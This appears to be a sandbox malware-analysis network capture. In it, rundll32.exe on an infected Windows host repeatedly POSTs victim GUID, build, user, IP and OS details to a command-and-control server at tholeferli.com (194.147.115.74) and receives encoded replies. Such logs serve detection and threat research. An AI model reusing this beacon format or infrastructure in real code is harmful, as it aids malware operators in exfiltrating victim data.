Jul 22, 2021 16:12:08.808880091 CEST	442	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:08.978435040 CEST	442	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 5a 41 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTZAGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.22	49299	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:09.240680933 CEST	443	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:10.409220934 CEST	444	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 46 55 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJFUQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.22	49300	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:10.688029051 CEST	444	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:10.859375954 CEST	445	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 41 5a 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKAZPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.22	49301	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:11.138365030 CEST	445	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:11.305207014 CEST	446	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4e 4d 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQNMJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.22	49302	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:11.585130930 CEST	447	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:12.743241072 CEST	447	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.22	49303	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:13.020370007 CEST	448	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:13.177135944 CEST	448	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 46 55 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZFUAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.22	49304	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:13.495186090 CEST	449	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:13.650988102 CEST	449	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 4d 4e 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNMNMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.22	49305	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:13.931045055 CEST	450	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:14.099052906 CEST	450	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 43 58 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMCXNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.22	49306	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:14.379228115 CEST	451	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:14.550126076 CEST	451	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 41 5a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZAZAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.22	49181	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:09.185193062 CEST	311	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:09.357000113 CEST	311	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 54 47 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYTGBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.22	49307	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:14.831377029 CEST	452	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:14.989069939 CEST	452	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 54 47 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJTGQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.22	49308	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:15.274631023 CEST	453	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:15.430584908 CEST	454	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4a 51 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYJQBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.22	49309	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:15.704440117 CEST	454	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:15.873754978 CEST	455	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 5a 41 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBZAYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.22	49310	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:16.147488117 CEST	456	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:16.313445091 CEST	456	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 56 45 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAVEZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.22	49311	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:16.594722986 CEST	457	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:16.777502060 CEST	457	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 59 42 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFYBUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.22	49312	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:17.064452887 CEST	458	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:17.231761932 CEST	458	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 41 5a 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQAZJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.22	49313	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:17.513257980 CEST	459	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:17.669996977 CEST	459	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 56 45 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMVENARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.22	49314	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:17.960793972 CEST	460	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:18.116715908 CEST	460	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 41 5a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZAZAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.22	49315	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:18.387399912 CEST	461	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:18.543351889 CEST	461	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 48 53 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTHSGARRABw==0

